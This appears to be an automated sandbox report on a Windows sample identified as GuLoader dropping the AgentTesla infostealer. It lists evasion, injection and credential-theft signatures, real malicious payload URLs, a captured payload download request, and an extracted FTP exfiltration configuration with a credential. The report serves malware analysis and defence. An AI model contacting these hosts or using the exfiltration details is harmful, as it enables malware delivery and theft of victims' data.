Windows Analysis Report
Gulvmaattens.exe

Overview

General Information

Sample Name: Gulvmaattens.exe
Analysis ID: 680567
MD5: afa8d5c2f8f14ed458ea6d8547fe57a8
SHA1: ef603c82c7976fcd34a018cd8280e28b8a22510d
SHA256: 7d3d134f8b37621766da3378b143ab0fbacf13f7793f42b6e81d7e5cc702a32b
Infos:

Detection

AgentTesla, GuLoader
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Malicious sample detected (through community Yara rule)
Yara detected AgentTesla
Antivirus detection for URL or domain
Yara detected GuLoader
Tries to steal Mail credentials (via file / registry access)
Writes to foreign memory regions
Mass process execution to delay analysis
Tries to detect Any.run
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Obfuscated command line found
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Tries to harvest and steal browser information (history, passwords, etc)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Yara signature match
May sleep (evasive loops) to hinder dynamic analysis
Contains functionality to shutdown / reboot the system
Uses code obfuscation techniques (call, push, ret)
PE file contains sections with non-standard names
Detected potential crypto function
Sample execution stops while process was sleeping (likely an evasion)
Too many similar processes found
Yara detected Credential Stealer
Contains functionality to call native functions
Contains functionality to dynamically determine API calls
Found dropped PE file which has not been started or loaded
IP address seen in connection with other malware
Contains functionality for execution timing, often used to detect debuggers
Contains long sleeps (>= 3 min)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
PE file contains strange resources
Drops PE files
Tries to load missing DLLs
Contains functionality to read the PEB
Uses a known web browser user agent for HTTP communication
Checks if the current process is being debugged
Binary contains a suspicious time stamp
PE / OLE file has an invalid certificate
PE file contains more sections than normal
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Creates a process in suspended mode (likely to inject code)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality for read data from the clipboard

Classification

AV Detection
barindex
Antivirus detection for URL or domain
Source: http://212.192.246.226/jLIEsqMZom33.asdL Avira URL Cloud: Label: malware
Source: ftp://ftp.gettoner.com.mx/droid Avira URL Cloud: Label: malware
Source: http://212.192.246.226/jLIEsqMZom33.asdm Avira URL Cloud: Label: malware
Source: http://212.192.246.226/jLIEsqMZom33.asd Avira URL Cloud: Label: malware
Source: cmd.exe.8124.5.memstrmin Malware Configuration Extractor: Agenttesla {"Exfil Mode": "FTP", "SMTP Info": "ftp://ftp.gettoner.com.mx/droid@gettoner.com.mxfedxunited543@"}
Uses 32bit PE files
Source: Gulvmaattens.exe Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
Source: Gulvmaattens.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: Binary string: sqmapi.pdbUGP source: sqmapi.dll.1.dr
Source: Binary string: sqmapi.pdb source: sqmapi.dll.1.dr
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_0040676F FindFirstFileW,FindClose, 1_2_0040676F
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_00405B23 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose, 1_2_00405B23
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_00402902 FindFirstFileW, 1_2_00402902
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 212.192.246.226 212.192.246.226
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /jLIEsqMZom33.asd HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: 212.192.246.226Cache-Control: no-cache
Source: unknown TCP traffic detected without corresponding DNS query: 212.192.246.226
Source: unknown TCP traffic detected without corresponding DNS query: 212.192.246.226
Source: unknown TCP traffic detected without corresponding DNS query: 212.192.246.226
Source: unknown TCP traffic detected without corresponding DNS query: 212.192.246.226
Source: unknown TCP traffic detected without corresponding DNS query: 212.192.246.226
Source: unknown TCP traffic detected without corresponding DNS query: 212.192.246.226
Source: unknown TCP traffic detected without corresponding DNS query: 212.192.246.226
Source: unknown TCP traffic detected without corresponding DNS query: 212.192.246.226
Source: unknown TCP traffic detected without corresponding DNS query: 212.192.246.226
Source: unknown TCP traffic detected without corresponding DNS query: 212.192.246.226
Source: unknown TCP traffic detected without corresponding DNS query: 212.192.246.226
Source: unknown TCP traffic detected without corresponding DNS query: 212.192.246.226
Source: unknown TCP traffic detected without corresponding DNS query: 212.192.246.226
Source: unknown TCP traffic detected without corresponding DNS query: 212.192.246.226
Source: unknown TCP traffic detected without corresponding DNS query: 212.192.246.226
Source: unknown TCP traffic detected without corresponding DNS query: 212.192.246.226
Source: unknown TCP traffic detected without corresponding DNS query: 212.192.246.226
Source: unknown TCP traffic detected without corresponding DNS query: 212.192.246.226
Source: unknown TCP traffic detected without corresponding DNS query: 212.192.246.226
Source: unknown TCP traffic detected without corresponding DNS query: 212.192.246.226
Source: unknown TCP traffic detected without corresponding DNS query: 212.192.246.226
Source: unknown TCP traffic detected without corresponding DNS query: 212.192.246.226
Source: unknown TCP traffic detected without corresponding DNS query: 212.192.246.226
Source: unknown TCP traffic detected without corresponding DNS query: 212.192.246.226
Source: unknown TCP traffic detected without corresponding DNS query: 212.192.246.226
Source: unknown TCP traffic detected without corresponding DNS query: 212.192.246.226
Source: unknown TCP traffic detected without corresponding DNS query: 212.192.246.226
Source: unknown TCP traffic detected without corresponding DNS query: 212.192.246.226
Source: unknown TCP traffic detected without corresponding DNS query: 212.192.246.226
Source: unknown TCP traffic detected without corresponding DNS query: 212.192.246.226
Source: unknown TCP traffic detected without corresponding DNS query: 212.192.246.226
Source: unknown TCP traffic detected without corresponding DNS query: 212.192.246.226
Source: unknown TCP traffic detected without corresponding DNS query: 212.192.246.226
Source: unknown TCP traffic detected without corresponding DNS query: 212.192.246.226
Source: unknown TCP traffic detected without corresponding DNS query: 212.192.246.226
Source: unknown TCP traffic detected without corresponding DNS query: 212.192.246.226
Source: unknown TCP traffic detected without corresponding DNS query: 212.192.246.226
Source: unknown TCP traffic detected without corresponding DNS query: 212.192.246.226
Source: unknown TCP traffic detected without corresponding DNS query: 212.192.246.226
Source: unknown TCP traffic detected without corresponding DNS query: 212.192.246.226
Source: unknown TCP traffic detected without corresponding DNS query: 212.192.246.226
Source: unknown TCP traffic detected without corresponding DNS query: 212.192.246.226
Source: unknown TCP traffic detected without corresponding DNS query: 212.192.246.226
Source: unknown TCP traffic detected without corresponding DNS query: 212.192.246.226
Source: unknown TCP traffic detected without corresponding DNS query: 212.192.246.226
Source: unknown TCP traffic detected without corresponding DNS query: 212.192.246.226
Source: unknown TCP traffic detected without corresponding DNS query: 212.192.246.226
Source: unknown TCP traffic detected without corresponding DNS query: 212.192.246.226
Source: unknown TCP traffic detected without corresponding DNS query: 212.192.246.226
Source: unknown TCP traffic detected without corresponding DNS query: 212.192.246.226
Source: CasPol.exe, 0000008F.00000002.55933402701.000000001D021000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: ftp://ftp.gettoner.com.mx/droid
Source: CasPol.exe, 0000008F.00000002.55933402701.000000001D021000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://127.0.0.1:HTTP/1.1
Source: CasPol.exe, 0000008F.00000002.55914326721.0000000000F48000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://212.192.246.226/jLIEsqMZom33.asdL
Source: CasPol.exe, 0000008F.00000002.55914326721.0000000000F48000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://212.192.246.226/jLIEsqMZom33.asdm
Source: CasPol.exe, 0000008F.00000002.55933402701.000000001D021000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://DynDns.comDynDNS
Source: CasPol.exe, 0000008F.00000002.55933402701.000000001D021000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://NwSpLV.com
Source: Gulvmaattens.exe String found in binary or memory: http://crl.certum.pl/ctnca.crl0k
Source: Gulvmaattens.exe String found in binary or memory: http://crl.certum.pl/ctnca2.crl0l
Source: Gulvmaattens.exe String found in binary or memory: http://crl.certum.pl/ctsca2021.crl0o
Source: Gulvmaattens.exe String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: Gulvmaattens.exe String found in binary or memory: http://repository.certum.pl/ctnca.cer09
Source: Gulvmaattens.exe String found in binary or memory: http://repository.certum.pl/ctnca2.cer09
Source: Gulvmaattens.exe String found in binary or memory: http://repository.certum.pl/ctsca2021.cer0
Source: Gulvmaattens.exe String found in binary or memory: http://subca.ocsp-certum.com01
Source: Gulvmaattens.exe String found in binary or memory: http://subca.ocsp-certum.com02
Source: Gulvmaattens.exe String found in binary or memory: http://subca.ocsp-certum.com05
Source: Gulvmaattens.exe String found in binary or memory: http://www.certum.pl/CPS0
Source: CasPol.exe, 0000008F.00000002.55933402701.000000001D021000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha
Source: global traffic HTTP traffic detected: GET /jLIEsqMZom33.asd HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: 212.192.246.226Cache-Control: no-cache
Contains functionality for read data from the clipboard
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_004055B8 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard, 1_2_004055B8
Too many similar processes found
Source: Conhost.exe Process created: 106

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 0000008F.00000002.55933402701.000000001D021000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: Process Memory Space: CasPol.exe PID: 3308, type: MEMORYSTR Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Uses 32bit PE files
Source: Gulvmaattens.exe Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
Yara signature match
Source: 0000008F.00000002.55933402701.000000001D021000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: Process Memory Space: CasPol.exe PID: 3308, type: MEMORYSTR Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Contains functionality to shutdown / reboot the system
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_004034C5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 1_2_004034C5
Detected potential crypto function
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_00407458 1_2_00407458
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_00406C81 1_2_00406C81
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_71401B5F 1_2_71401B5F
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AB2B88 1_2_02AB2B88
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA57F1 1_2_02AA57F1
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AB4B18 1_2_02AB4B18
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AB3510 1_2_02AB3510
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA1AA2 1_2_02AA1AA2
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA12BA 1_2_02AA12BA
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA0EBF 1_2_02AA0EBF
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA0285 1_2_02AA0285
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA0A9A 1_2_02AA0A9A
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA069A 1_2_02AA069A
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA7E9F 1_2_02AA7E9F
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA12F8 1_2_02AA12F8
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA0EF4 1_2_02AA0EF4
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA0ACE 1_2_02AA0ACE
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA06DD 1_2_02AA06DD
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA1ADD 1_2_02AA1ADD
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA02D1 1_2_02AA02D1
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA1A2A 1_2_02AA1A2A
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA0A29 1_2_02AA0A29
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA862E 1_2_02AA862E
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA2E21 1_2_02AA2E21
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA0238 1_2_02AA0238
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA0E36 1_2_02AA0E36
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA1209 1_2_02AA1209
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA0202 1_2_02AA0202
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA0A1D 1_2_02AA0A1D
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA0612 1_2_02AA0612
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA1A6A 1_2_02AA1A6A
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA0A6E 1_2_02AA0A6E
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA7E7B 1_2_02AA7E7B
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA1275 1_2_02AA1275
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA065D 1_2_02AA065D
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA1257 1_2_02AA1257
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA17A4 1_2_02AA17A4
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA1BB9 1_2_02AA1BB9
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA03B6 1_2_02AA03B6
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA0BB4 1_2_02AA0BB4
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA0B89 1_2_02AA0B89
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA1B85 1_2_02AA1B85
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA0795 1_2_02AA0795
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA0F95 1_2_02AA0F95
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA0FEF 1_2_02AA0FEF
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA07E3 1_2_02AA07E3
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA03FA 1_2_02AA03FA
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AB43FB 1_2_02AB43FB
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA6FF7 1_2_02AA6FF7
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA0BF7 1_2_02AA0BF7
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA1BF4 1_2_02AA1BF4
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA17D0 1_2_02AA17D0
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA0F20 1_2_02AA0F20
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA0B0E 1_2_02AA0B0E
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA071A 1_2_02AA071A
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA1B11 1_2_02AA1B11
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA1766 1_2_02AA1766
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA0B48 1_2_02AA0B48
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA1348 1_2_02AA1348
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA0349 1_2_02AA0349
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA074E 1_2_02AA074E
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA1B42 1_2_02AA1B42
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA1759 1_2_02AA1759
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA0F56 1_2_02AA0F56
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA0CBF 1_2_02AA0CBF
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA088E 1_2_02AA088E
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA0080 1_2_02AA0080
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA109A 1_2_02AA109A
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AB38C3 1_2_02AB38C3
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA04C5 1_2_02AA04C5
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA18D8 1_2_02AA18D8
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA08D1 1_2_02AA08D1
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA10D6 1_2_02AA10D6
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA842A 1_2_02AA842A
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AB582E 1_2_02AB582E
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA0C39 1_2_02AA0C39
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA043E 1_2_02AA043E
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AAC832 1_2_02AAC832
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA1C33 1_2_02AA1C33
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA100E 1_2_02AA100E
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA180F 1_2_02AA180F
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA0005 1_2_02AA0005
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA8405 1_2_02AA8405
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA0018 1_2_02AA0018
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA5815 1_2_02AA5815
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA0C6F 1_2_02AA0C6F
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA0060 1_2_02AA0060
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA1858 1_2_02AA1858
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA0853 1_2_02AA0853
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA1056 1_2_02AA1056
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA2857 1_2_02AA2857
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA4DA9 1_2_02AA4DA9
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA01BA 1_2_02AA01BA
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA09BB 1_2_02AA09BB
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA19BB 1_2_02AA19BB
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AB41BA 1_2_02AB41BA
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA0182 1_2_02AA0182
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA0983 1_2_02AA0983
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA1983 1_2_02AA1983
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA8587 1_2_02AA8587
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA0592 1_2_02AA0592
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA09ED 1_2_02AA09ED
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA19F4 1_2_02AA19F4
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA0DF5 1_2_02AA0DF5
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA0DCA 1_2_02AA0DCA
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AABDD1 1_2_02AABDD1
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA0D39 1_2_02AA0D39
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA0908 1_2_02AA0908
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA0103 1_2_02AA0103
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA111B 1_2_02AA111B
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA1917 1_2_02AA1917
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA7917 1_2_02AA7917
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA0979 1_2_02AA0979
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA0D7D 1_2_02AA0D7D
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA5973 1_2_02AA5973
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA0548 1_2_02AA0548
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA1946 1_2_02AA1946
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA0144 1_2_02AA0144
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AA1155 1_2_02AA1155
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 143_2_00E1B025 143_2_00E1B025
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 143_2_00E18960 143_2_00E18960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 143_2_00E1DED0 143_2_00E1DED0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 143_2_00E183E0 143_2_00E183E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 143_2_00E1A0D0 143_2_00E1A0D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 143_2_00E14928 143_2_00E14928
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 143_2_00E11BD8 143_2_00E11BD8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 143_2_00E13348 143_2_00E13348
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 143_2_00E2D8F8 143_2_00E2D8F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 143_2_00E255E8 143_2_00E255E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 143_2_00E24168 143_2_00E24168
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 143_2_00E2C510 143_2_00E2C510
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 143_2_00E296F0 143_2_00E296F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 143_2_00E26790 143_2_00E26790
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 143_2_00E225E8 143_2_00E225E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 143_2_00E2317B 143_2_00E2317B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 143_2_00E237B0 143_2_00E237B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 143_2_01111108 143_2_01111108
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 143_2_0111DB68 143_2_0111DB68
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 143_2_01117978 143_2_01117978
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 143_2_1CFD5D08 143_2_1CFD5D08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 143_2_1CFD4374 143_2_1CFD4374
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 143_2_1CFD5CC1 143_2_1CFD5CC1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 143_2_1CFD69F1 143_2_1CFD69F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 143_2_1F2BBE70 143_2_1F2BBE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 143_2_1F2B4320 143_2_1F2B4320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 143_2_1F2BB110 143_2_1F2BB110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 143_2_1F2B3708 143_2_1F2B3708
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 143_2_1F2B3A50 143_2_1F2B3A50
Contains functionality to call native functions
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AB4B18 NtAllocateVirtualMemory, 1_2_02AB4B18
Source: C:\Users\user\Desktop\Gulvmaattens.exe Code function: 1_2_02AB7C43 NtMapViewOfSection, 1_2_02AB7C43
PE file contains strange resources
Source: Gulvmaattens.exe Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: Gulvmaattens.exe Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Tries to load missing DLLs
Source: C:\Users\user\Desktop\Gulvmaattens.exe Section loaded: edgegdi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Section loaded: edgegdi.dll Jump to behavior
PE / OLE file has an invalid certificate
Source: Gulvmaattens.exe Static PE information: invalid certificate
PE file contains more sections than normal
Source: vfslog.dll.1.dr Static PE information: Number of sections : 19 > 10
Source: C:\Users\user\Desktop\Gulvmaattens.exe File read: C:\Users\user\Desktop\Gulvmaattens.exe Jump to behavior
Source: Gulvmaattens.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\Gulvmaattens.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
